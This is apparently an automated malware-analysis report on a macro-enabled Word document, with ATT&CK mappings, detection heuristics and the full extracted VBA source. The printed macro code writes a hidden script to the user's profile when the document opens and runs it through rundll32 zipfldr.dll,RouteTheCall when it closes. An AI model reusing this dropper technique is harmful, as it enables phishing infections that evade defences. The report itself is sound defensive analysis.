MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.011 Signed Binary Proxy Execution: Rundll32
T1566.001 Spearphishing Attachment
The sample contains VBA macros that execute automatically via the Document_open subroutine. These macros construct a VBScript file named 'Hoper.vbs' in the user's profile directory and write arbitrary data into it. The Document_close subroutine then uses rundll32 to execute this VBScript, likely to download and execute a second-stage payload.
Heuristics 8
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
External relationship medium OOXML_EXTERNAL_RELExternal target in word/_rels/settings.xml.rels: WScript.Shell
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
- http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
- http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
- http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 870 bytes |
SHA-256: 8eeaa0270f5769a775df92eef82ec05879f441f14e5551429a0a80ca61133c85 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "OptionButton1, 0, 0, MSForms, OptionButton"
Private Mamters
Private Sub Document_open()
Fedgdvxd = Environ("userprofile")
Certudfg = Fedgdvxd & "\Hoper.v" & "b" & "s"
Open Certudfg For Binary As #1
Put #1, , OptionButton1.GroupName
Close #1
Application.Quit SaveChanges:=False
End Sub
Sub Document_close()
Fedgdvxd = Environ("userprofile")
Certudfg = Fedgdvxd & "\Hoper.v" & "b" & "s"
Set Mamters = CreateObject(ThisDocument.XMLSaveThroughXSLT)
Mamters.Run "rundll32 zipfldr.dll,RouteTheCall" & " " & Certudfg
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 9728 bytes |
SHA-256: 0d712d7e4e0cd7075b215fd6ff8bcc7cf5f8a85da0b522eaea808967f3bcba56 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.